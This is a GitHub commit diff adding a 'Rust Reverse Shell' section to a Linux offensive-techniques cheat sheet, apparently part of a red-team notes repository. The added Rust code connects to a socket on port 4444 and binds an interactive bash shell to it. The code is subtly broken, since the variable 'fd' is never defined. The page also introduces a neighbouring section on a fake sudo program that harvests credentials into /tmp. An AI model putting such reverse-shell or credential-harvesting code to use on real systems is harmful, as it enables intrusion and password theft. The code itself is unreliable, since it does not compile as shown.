There was an error while loading. Please reload this page.
1 parent 919d751 commit 0df8f93Copy full SHA for 0df8f93
1 file changed
Linux.md
@@ -1441,6 +1441,27 @@ if (ip.proto == TCP) {
1441
}
1442
```
1443
1444
+## Rust Reverse Shell
1445
+
1446
+```rust
1447
+use std::net::TcpStream;
1448
+use std::os::unix::io::{AsRawFd, FromRawFd};
1449
+use std::process::{Command, Stdio};
1450
1451
+fn main() {
1452
+ let sock = TcpStream::connect("localhost:4444").unwrap();
1453
+ Command::new("/bin/bash")
1454
+ .arg("-i")
1455
+ .stdin(unsafe { Stdio::from_raw_fd(fd) })
1456
+ .stdout(unsafe { Stdio::from_raw_fd(fd) })
1457
+ .stderr(unsafe { Stdio::from_raw_fd(fd) })
1458
+ .spawn()
1459
+ .unwrap()
1460
+ .wait()
1461
+ .unwrap();
1462
+}
1463
+```
1464
1465
## Fake Sudo Program to Harvest Credentials
1466
1467
Mimics legitimate Sudo binary to capture credentials and output to ```/tmp``` directory file.
0 commit comments